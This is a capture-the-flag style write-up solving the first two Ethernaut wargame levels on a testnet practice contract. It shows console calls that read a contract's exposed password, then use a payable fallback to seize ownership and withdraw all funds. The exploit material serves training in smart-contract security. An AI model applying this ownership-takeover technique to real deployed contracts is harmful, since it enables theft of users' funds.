The Ethernaut is a Web3/Solidity-based wargame inspired by overthewire.org, played in the Ethereum Virtual Machine. Each level is a smart contract that needs to be 'hacked'.

Here are the writeups of my solutions for all the levels. Ironically I will not recommend you to look at these or any other writeups, solve it yourself to get a high dopamine rush 😛

0. Hello Ethernaut

It was more of an introductory level, helping you set up for the upcoming levels and giving bits of the basic but necessary information. So let’s look into contract.info() as hinted in point number 9.

> await contract.info()
< 'You will find what you need in info1().'

> await contract.info1()
< 'Try info2(), but with "hello" as a parameter.'

> await contract.info2("hello")
< 'The property infoNum holds the number of the next info method to call.'

Let’s explore more about this property in the contracts abi.

> await contract.abi
< (11) [{…}, {…}, {…}, {…}, {…}, {…}, {…}, {…}, {…}, {…}, {…}]
0: {inputs: Array(1), stateMutability: 'nonpayable', type: 'constructor', constant: undefined, payable: undefined}
1: {inputs: Array(1), name: 'authenticate', outputs: Array(0), stateMutability: 'nonpayable', type: 'function', …}
2: {inputs: Array(0), name: 'getCleared', outputs: Array(1), stateMutability: 'view', type: 'function', …}
3: {inputs: Array(0), name: 'info', outputs: Array(1), stateMutability: 'pure', type: 'function', …}
4: {inputs: Array(0), name: 'info1', outputs: Array(1), stateMutability: 'pure', type: 'function', …}
5: {inputs: Array(1), name: 'info2', outputs: Array(1), stateMutability: 'pure', type: 'function', …}
6: {inputs: Array(0), name: 'info42', outputs: Array(1), stateMutability: 'pure', type: 'function', …}
7:
constant: true
inputs: []
name: "infoNum"
outputs: Array(1)
0: {internalType: 'uint8', name: '', type: 'uint8'}
length: 1
[[Prototype]]: Array(0)
payable: undefined
signature: "0xc253aebe"
stateMutability: "view"
type: "function"
[[Prototype]]: Object
8: {inputs: Array(0), name: 'method7123949', outputs: Array(1), stateMutability: 'pure', type: 'function', …}
9: {inputs: Array(0), name: 'password', outputs: Array(1), stateMutability: 'view', type: 'function', …}
10: {inputs: Array(0), name: 'theMethodName', outputs: Array(1), stateMutability: 'view', type: 'function', …}
length: 11
[[Prototype]]: Array(0)

Seeing the abi object of infoNum **it is clear that the return type of the function is a uint8, infoNum is probably the default getter function for the infoNum storage variable of the contract. Since there is no built-in unsigned integer type in Javascript, it receives the value as a typed ArrayBuffer, you can stringify it to see the actual integer. We can see that there is also a function named password at index 9.

> x = await contract.infoNum()

> x.toString()
< '42'

Calling the info42 method

> await contract.info42()
< 'theMethodName is the name of the next method.'

> await contract.theMethodName()
< 'The method name is method7123949.'

> await contract.method7123949()
< 'If you know the password, submit it to authenticate().'

> await contract.password()
< 'ethernaut0'

> await contract.authenticate("ethernaut0")

Submit the instance, and congrats you cleared your first ethernaut level!!

1. Fallback

The initial owner has 1000 ether as his contribution, so getting ownership of the contract through contribute() is clearly not the best way since 1000 ether is quite a lot(well you can spend weeks or even months collecting that amount from Rinkeby faucets, your choice 😛). But surely there is a better way using the other functions given. It’s an easy task to figure out what it is so we will just let the solution speak.

// calling the contribute() with the right amount of ether to pass the condition.
> await contract.contribute({value:toWei("0.0001", "ether")})

// since the contract has a payable fallback receive fuction we will just send a
// transaction to the contract with some amount of ether and empty data(so that the
// fallback function is called)
> await web3.eth.sendTransaction({to:"0x1B5D18EDfdD898caeadd43Cf4e1f1857d55BC075", 
	value:toWei("0.0001", "ether"), from:"0x136801a295932bEcE62ef615bEFC3DE0259D565F"})

// in the "owner" storage variable we will see our address now!!
> await contract.owner()
'0x136801a295932bEcE62ef615bEFC3DE0259D565F'

// withdraw everything using the withdraw() given
> await contract.withdraw()